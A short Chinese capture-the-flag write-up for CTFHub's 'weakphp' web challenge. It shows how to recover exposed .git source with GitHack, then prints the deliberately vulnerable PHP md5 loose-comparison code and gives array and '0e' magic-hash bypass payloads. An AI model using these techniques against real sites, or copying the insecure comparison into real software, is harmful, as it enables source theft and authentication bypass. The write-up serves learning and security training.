CTFHub_2017-赛客夏令营-Web-weakphp(git泄露、MD5绕过)
进入场景,显示如下
查看writeup,发现本题是.git源码泄露(很多题目这个git目录都是禁止访问,我也不知道大佬怎么知道是.git源码泄露的)
要获取泄露的源码,可以使用 GitHack 工具。GitHack 是一个 .git 泄露利用脚本,通过泄露的 .git 文件夹下的文件重建还原工程源代码。在 cmd 命令下键入下面的命令,脚本就会把存在 Git 泄露的源码全部下载下来。
GitHack.py http://xxx.com/.git/
源码如下
<?php require_once "flag.php"; if (!isset($_GET['user']) && !isset($_GET['pass'])) { header("Location: index.php?user=1&pass=2"); } $user = $_GET['user']; $pass = $_GET['pass']; if ((md5($user) == md5($pass)) and ($user != $pass)){ echo $flag; } else { echo "nonono!"; } ?>
审计源码,发现本题需要user和pass不相等但是md5值相等。而MD5比较时采用了==弱类型比较。
方式1 数组绕过
payload
/index.php?user[]=1&pass[]=2
方式2 MD5绕过
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:
QNKCDZO 240610708 s878926199a s155964671a s214587387a s214587387a
payload
/index.php?user=QNKCDZO&pass=240610708